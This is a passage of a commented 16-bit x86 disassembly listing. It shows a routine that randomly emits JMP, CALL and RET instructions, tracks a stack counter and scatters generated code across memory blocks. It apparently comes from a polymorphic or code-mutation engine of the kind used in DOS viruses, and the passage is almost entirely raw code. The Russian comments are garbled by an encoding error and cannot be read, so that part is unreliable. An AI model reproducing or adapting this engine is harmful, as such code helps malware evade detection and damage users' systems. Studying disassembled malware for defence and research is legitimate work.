0414 076A data_0414 dw offset sub_076A
|
|||
|
0416 0781 data_0416 dw offset sub_0781
|
|||
|
0418 07A3 data_0418 dw offset sub_07A3
|
|||
|
041A 07E8 data_041A dw offset sub_07E8
|
|||
|
041C 07FD data_041C dw offset sub_07FD
|
|||
|
041E 081E data_041E dw offset sub_081E
|
|||
|
0420 0892 data_0420 dw offset sub_0892
|
|||
|
0422 08C5 data_0422 dw offset sub_08C5
|
|||
|
0424 0925 data_0424 dw offset sub_0925
|
|||
|
0426 094D data_0426 dw offset sub_094D
|
|||
|
0428 0960 data_0428 dw offset sub_0960
|
|||
|
042A 09C2 data_042A dw offset sub_09C2
|
|||
|
042C 098A data_042C dw offset sub_098A
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
; <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⪮<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>䭮<EFBFBD><E4ADAE> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20>室 : 䫠<> CF = 0 - <20>த<EFBFBD><E0AEA4><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ࠡ<><E0A0A1><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; = 1 - <><E1A2AE>稢<EFBFBD><E7A8A2><EFBFBD> ࠡ<><E0A0A1><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD> <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD> <20>ந<EFBFBD><E0AEA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>⪠ <20><><EFBFBD><EFBFBD>. <20>.<2E>. <20><><EFBFBD> 䠪<><E4A0AA><EFBFBD><EFBFBD>᪨ <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⬮<EFBFBD> "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0><EFBFBD>"
|
|||
|
; 䠩<><E4A0A9> (ᮧ<><E1AEA7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD>⮬ <20> <20><><EFBFBD><EFBFBD><EFBFBD><E0AEAB> <20><><EFBFBD>楤<EFBFBD><E6A5A4> <20> <20><><EFBFBD><EFBFBD>⪮<EFBFBD> <20><><EFBFBD><EFBFBD> <20> ࠧ<><E0A0A7><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20> 室<> <><E1A2AE> ࠡ<><E0A0A1><EFBFBD> <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD> <20><><EFBFBD><E1ABA5><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>
|
|||
|
; CALL, JMP <20> RET <20> ࠧ<><E0A0A7><EFBFBD> ᮧ<><E1AEA7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⪠<EFBFBD>.
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>! <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>㫨<EFBFBD><E3ABA8><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC><EFBFBD><EFBFBD>. <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD>쪨<EFBFBD> <20><><EFBFBD><EFBFBD>⪮<EFBFBD> <20><><EFBFBD><EFBFBD> (<28><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>묨
|
|||
|
; <20><>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> JMP).
|
|||
|
;==========================================================================
|
|||
|
|
|||
|
sub_042E proc near
|
|||
|
042E 9F lahf ; Load ah from flags
|
|||
|
042F 95 xchg bp,ax
|
|||
|
0430 E8 0496 call sub_08C9 ; <20><><EFBFBD>ନ<E0ACA8><E0AEA2><EFBFBD> ᬥ饭<E1ACA5><E9A5AD> <20><><EFBFBD>
|
|||
|
; SHORT <20><><EFBFBD><EFBFBD>室<EFBFBD><E5AEA4>
|
|||
|
0433 59 pop cx
|
|||
|
0434 5A pop dx
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
0435 E8 FF0D call RND_01 ; <20> <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD><EFBFBD> 1/2 <20>த<EFBFBD><E0AEA4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; ⥪<><E2A5AA><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC> <20> <20><>㣮<EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>⪥
|
|||
|
0438 B0 02 mov al,2 ; <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD> JMP <20> CALL ࠢ<><E0A0A2>
|
|||
|
043A 74 74 jz short loc_04B0 ; Jump if RND = 0
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; <20> <20>㦭<EFBFBD> <><E1A2AE>稢<EFBFBD><E7A8A2><EFBFBD> ࠡ<><E0A0A1><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><> <20><>⠢<EFBFBD>塞 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>室<EFBFBD>
|
|||
|
043C 8B C5 mov ax,bp
|
|||
|
043E 9E sahf ; Store ah into flags
|
|||
|
043F B8 0002 mov ax,2 ; <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD> JMP <20> CALL ࠢ<><E0A0A2>
|
|||
|
0442 72 6C jc short loc_04B0 ; Jump if CF=1
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD><EFBFBD> 1/2 <20> ⥪<>饩 <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC> <20><><EFBFBD>뢠<EFBFBD><EBA2A0> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CALL
|
|||
|
0444 E8 FEFE call RND_01
|
|||
|
0447 75 6B jnz short loc_04B4 ; Jump if RND = 1
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
0449 5E pop si
|
|||
|
044A 0B F6 or si,si ; <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC> ?
|
|||
|
044C 74 64 jz short loc_04B2 ; <20> <20><><EFBFBD>, <20><> <20><><EFBFBD>뢠<EFBFBD><EBA2A0> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CALL.
|
|||
|
; <20> <20><>, <20><> <20><><EFBFBD><EFBFBD> <20><>.
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>" <20><><EFBFBD><EFBFBD>⮪ <20><><EFBFBD><EFBFBD> (<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㥬 <20><>室 <20><> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> RETn)
|
|||
|
; SI - <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>ண<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>室
|
|||
|
|
|||
|
044E 2E: 8F 06 046F pop cs:data_046F
|
|||
|
0453 58 pop ax
|
|||
|
0454 2E: A3 06F3 mov cs:data_06F3,ax ; <20> AX=0, <20><> <20>ࠧ<EFBFBD> <20> <20><><EFBFBD>㫥<EFBFBD><E3ABA5><EFBFBD>
|
|||
|
0458 0B C0 or ax,ax ; Zero ?
|
|||
|
045A 74 0F jz short loc_046B ; Jump if zero
|
|||
|
045C 2E: 8F 06 06F3 pop cs:data_06F3
|
|||
|
0461 2E: FF 36 06F3 push cs:data_06F3
|
|||
|
0466 2E: FF 06 06F3 inc cs:data_06F3
|
|||
|
046B loc_046B:
|
|||
|
046B 50 push ax
|
|||
|
046C EB 00 jmp short $+2 ; delay for I/O
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>祭<EFBFBD><E7A5AD> <20>㦭<EFBFBD> <20><><EFBFBD><E0AEA2><EFBFBD><EFBFBD> SP <20><> <20><>室<EFBFBD> <20><> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC>, <20>⮡<EFBFBD>
|
|||
|
; <20>ࠢ<EFBFBD><E0A0A2>쭮 <20>ࠡ<EFBFBD>⠫<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> RET.
|
|||
|
046E B8 0001 mov ax,1111h
|
|||
|
data_046F = word ptr $ - 2
|
|||
|
0471 2E: 87 06 06BE xchg cs:StackCounter,ax
|
|||
|
0476 2E: 2B 06 06BE sub ax,cs:StackCounter
|
|||
|
047B 48 dec ax
|
|||
|
047C E8 03C0 call sub_083F ; <20><><EFBFBD><E0AEA2><EFBFBD><EFBFBD> SP
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; <20> <20> <20><><EFBFBD>뢠<EFBFBD>饩 <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC> <20><> <20>맮<EFBFBD><EBA7AE> <20>뫨 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>祭<EFBFBD><E7A5AD> <20> <20>⥪<EFBFBD>,
|
|||
|
; <20><> ᭨<><E1ADA8><EFBFBD> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <> (<28><><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD> <20><><EFBFBD>-<2D><>) <20><> <20>⥪<EFBFBD> <20><><EFBFBD> <20><>室<EFBFBD>
|
|||
|
047F 2E: A1 06BE mov ax,cs:StackCounter
|
|||
|
0483 2E: 2B 06 06F3 sub ax,cs:data_06F3
|
|||
|
0488 40 inc ax ;AX - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⢮ <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <>
|
|||
|
0489 E8 FEBC call RND_0_AX
|
|||
|
048C 74 13 jz short loc_04A1 ; <20> AX=0, <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> RET
|
|||
|
;--------------- <20><>室 <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> RET NEAR <IM16> -----------------------------
|
|||
|
048E 2E: 29 06 06BE sub cs:StackCounter,ax
|
|||
|
0493 D1 E0 shl ax,1 ; Shift w/zeros fill
|
|||
|
0495 50 push ax
|
|||
|
0496 B0 C2 mov al,0C2h ; cmd RET NEAR <IM16>
|
|||
|
0498 E8 01B0 call Write_byte
|
|||
|
049B 58 pop ax
|
|||
|
049C E8 0197 call Write_word
|
|||
|
049F EB 05 jmp short loc_04A6
|
|||
|
;--------------- <20><>室 <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> RET NEAR ------------------------------------
|
|||
|
04A1 loc_04A1:
|
|||
|
04A1 B0 C3 mov al,0C3h ; cmd RET NEAR
|
|||
|
04A3 E8 01A5 call Write_byte
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
04A6 loc_04A6:
|
|||
|
04A6 83 C6 03 add si,3 ; <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>室<EFBFBD>
|
|||
|
; CALL <near> <20><><EFBFBD> JMP <near>
|
|||
|
04A9 2E: 89 36 054F mov cs:data_054F,si
|
|||
|
04AE 33 C0 xor ax,ax ; AX = 0 - <20>ਧ<EFBFBD><E0A8A7><EFBFBD> <20><>⠢<EFBFBD><E2A0A2>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "RETn"
|
|||
|
04B0 loc_04B0:
|
|||
|
04B0 EB 0F jmp short loc_04C1
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
04B2 loc_04B2:
|
|||
|
04B2 56 push si ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Mark-end'<27>
|
|||
|
04B3 40 inc ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> 0 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28>㦭<EFBFBD> <20><><EFBFBD> RND)
|
|||
|
04B4 loc_04B4:
|
|||
|
; "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>" <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⮪ <20><><EFBFBD><EFBFBD> (<28>맢<EFBFBD><EBA7A2><EFBFBD> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC>)
|
|||
|
04B4 2E: 8B 36 06BE mov si,cs:StackCounter
|
|||
|
04B9 56 push si ; <20><><EFBFBD>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD>-<2D><> <> <20> <20>⥪<EFBFBD>
|
|||
|
04BA 46 inc si
|
|||
|
04BB 2E: 89 36 06F3 mov cs:data_06F3,si ; <20><><EFBFBD>祭<EFBFBD><E7A5AD> <20><><EFBFBD><EFBFBD>稪<EFBFBD> <20>⥪<EFBFBD> <20><> <20><>砫<EFBFBD>
|
|||
|
; <20>⮩ <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC>
|
|||
|
04C0 53 push bx ; <20><><EFBFBD>࠭<EFBFBD><E0A0AD><EFBFBD> ⥪<>騩 㪠<><E3AAA0>⥫<EFBFBD>
|
|||
|
; <20><><EFBFBD>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28>㦭<EFBFBD> <20>⮡<EFBFBD>
|
|||
|
; <20><>⮬ <20>த<EFBFBD><E0AEA4><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>)
|
|||
|
;--------------------------------------------------------------------------
|
|||
|
04C1 loc_04C1:
|
|||
|
04C1 52 push dx
|
|||
|
04C2 51 push cx
|
|||
|
04C3 95 xchg bp,ax
|
|||
|
04C4 9E sahf ; <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD> <20>室<EFBFBD><E5AEA4><EFBFBD> 䫠<><E4ABA0>
|
|||
|
04C5 9C pushf ;
|
|||
|
04C6 0B ED or bp,bp ; <20><><EFBFBD> <20><>⠢<EFBFBD><E2A0A2><EFBFBD> "RETn" ???
|
|||
|
04C8 74 15 jz short loc_04DF ; bp = 0 - <20><>.
|
|||
|
;-------------- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>室<EFBFBD> CALL <20><><EFBFBD> JMP -------------------
|
|||
|
04CA 8B C5 mov ax,bp
|
|||
|
04CC E8 FE79 call RND_0_AX ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 祣<> <20><>⠢<EFBFBD><E2A0A2><EFBFBD>
|
|||
|
04CF B0 E9 mov al,0E9h ; cmd JMP NEAR
|
|||
|
04D1 75 06 jnz short loc_04D9 ; Jump if not zero
|
|||
|
04D3 2E: FF 06 06BE inc word ptr cs:StackCounter ; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CALL <20> <20>⥪<EFBFBD>
|
|||
|
; <20>㦭<EFBFBD> <20>ਡ<EFBFBD><E0A8A1><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <><E1ABAE>
|
|||
|
04D8 48 dec ax ; cmd CALL NEAR
|
|||
|
04D9 loc_04D9:
|
|||
|
04D9 E8 016F call Write_byte ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
04DC E8 0157 call Write_word ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>室<EFBFBD>
|
|||
|
; <20><><EFBFBD> <20><>砫<EFBFBD> <20><><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD><EFBFBD>
|
|||
|
;--------------------------------------------------------------------------
|
|||
|
; <20><><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> <20><><EFBFBD>।<EFBFBD><E0A5A4><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD> <20>⭮<EFBFBD><E2ADAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᣥ<><E1A3A5><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
04DF loc_04DF:
|
|||
|
04DF 8D 45 FC lea ax,[di-4] ; 4 <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><>砫<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
04E2 BE 2B2C mov si,1111h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>᪨<EFBFBD> 㪠<><E3AAA0>⥫<EFBFBD> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
data_04E3 = word ptr $ - 2
|
|||
|
04E5 2B C6 sub ax,si ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⪠
|
|||
|
04E7 89 04 mov [si],ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⪠
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
04E9 9D popf ; Pop flags
|
|||
|
04EA B8 1D36 mov ax,1111h ; <20>室<EFBFBD><E5AEA4><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD>
|
|||
|
; <20><><EFBFBD><E1ABA5><EFBFBD><EFBFBD><EFBFBD> CALL <20><><EFBFBD> JMP)
|
|||
|
data_04EB = word ptr $ - 2
|
|||
|
04ED 73 03 jnc short loc_04F2 ; Jump if CF=0
|
|||
|
04EF E9 0088 jmp loc_057A ; <><E1A2AE>稢<EFBFBD><E7A8A2><EFBFBD> ࠡ<><E0A0A1><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; <20><>।<EFBFBD><E0A5A4>塞 : <20>⮨<EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>⥩ ?
|
|||
|
04F2 loc_04F2:
|
|||
|
04F2 8B C3 mov ax,bx ; ⥪<>騩 㪠<><E3AAA0>⥫<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
04F4 2E: 3B 06 03CD cmp ax,cs:data_03CD
|
|||
|
04F9 72 4F jb short loc_054A ; Jump if <20><><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
|
|||
|
04FB 2E: 3B 06 03E7 cmp ax,cs:data_03E7
|
|||
|
0500 73 48 jae short loc_054A ; Jump if <20><><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
|
|||
|
;--------------------------
|
|||
|
0502 2E: 2B 06 03E2 sub ax,cs:data_03E2
|
|||
|
0507 73 27 jnc short loc_0530 ; Jump if <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
|
|||
|
0509 2E: 8B 16 03D2 mov dx,cs:data_03D2
|
|||
|
050E 3B DA cmp bx,dx
|
|||
|
0510 73 38 jae short loc_054A ; Jump if <20>믠<EFBFBD><EBAFA0><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>⥩
|
|||
|
;----------- <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "A" --------------------------
|
|||
|
0512 2B 54 02 sub dx,[si+2] ; DX = <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ﭨ<EFBFBD> <20><> ⥪<>饣<EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD>設<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
0515 8B C3 mov ax,bx
|
|||
|
0517 2E: 2B 06 03CD sub ax,cs:data_03CD ; AX = <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ﭨ<EFBFBD> <20><> ⥪<>饣<EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFA3A8><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD>
|
|||
|
051C 3B C2 cmp ax,dx
|
|||
|
051E 72 09 jb short loc_0529 ; Jump if below
|
|||
|
0520 8B 44 02 mov ax,[si+2]
|
|||
|
0523 2E: A3 03D2 mov cs:data_03D2,ax ; <20><><EFBFBD>᪠<EFBFBD><E1AAA0> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD>
|
|||
|
0527 EB 21 jmp short loc_054A
|
|||
|
0529 loc_0529:
|
|||
|
0529 2E: 89 1E 03CD mov cs:data_03CD,bx ; <20><><EFBFBD>묠<EFBFBD><EBACA0> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD>
|
|||
|
052E EB 1A jmp short loc_054A
|
|||
|
;----------- <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "B" --------------------------
|
|||
|
0530 loc_0530:
|
|||
|
0530 92 xchg dx,ax
|
|||
|
0531 2E: A1 03E7 mov ax,cs:data_03E7
|
|||
|
0535 2B 44 02 sub ax,[si+2]
|
|||
|
0538 3B C2 cmp ax,dx
|
|||
|
053A 72 07 jb short loc_0543 ; Jump if below
|
|||
|
053C 2E: 89 1E 03E2 mov cs:data_03E2,bx ; <20><><EFBFBD>塞 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD>
|
|||
|
0541 EB 07 jmp short loc_054A
|
|||
|
0543 loc_0543:
|
|||
|
0543 8B 44 02 mov ax,[si+2]
|
|||
|
0546 2E: A3 03E7 mov cs:data_03E7,ax ; <20><><EFBFBD>᪠<EFBFBD><E1AAA0> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20>
|
|||
|
; <20><>砫<EFBFBD> <20>।<EFBFBD><E0A5A4><EFBFBD>饣<EFBFBD> <20><><EFBFBD><EFBFBD>⪠
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; <20><EFBFBD>ઠ : <20>㦭<EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> ᬥ饭<E1ACA5><E9A5AD> ?
|
|||
|
054A loc_054A:
|
|||
|
054A 0B ED or bp,bp ; <20><>⠢<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "RET" ?
|
|||
|
054C 75 06 jnz short loc_0554 ; Jump if NO
|
|||
|
; <20> <20><>⠢<EFBFBD> RET, <20><> ᬥ饭<E1ACA5><E9A5AD> <20><> <20>㦭<EFBFBD> ...
|
|||
|
054E BB 0067 mov bx,1111h
|
|||
|
data_054F = word ptr $ - 2
|
|||
|
0551 9C pushf ; Push flags
|
|||
|
0552 EB 2E jmp short loc_0582 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><>⠢<EFBFBD><E2A0A2><EFBFBD>騩
|
|||
|
; ᬥ饭<E1ACA5><E9A5AD>
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ("A" <20><><EFBFBD> "B") <20><>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⮪
|
|||
|
0554 loc_0554:
|
|||
|
0554 E8 FDEE call RND_01 ; <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD> ࠢ<><E0A0A2><EFBFBD><EFBFBD><EFBFBD>筠<EFBFBD> (1/2)
|
|||
|
0557 2E: A1 03E7 mov ax,cs:data_03E7
|
|||
|
055B 2E: 8B 16 03E2 mov dx,cs:data_03E2 ; <20><><EFBFBD><EFBFBD> = <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>।<EFBFBD><E0A5A4> "B"
|
|||
|
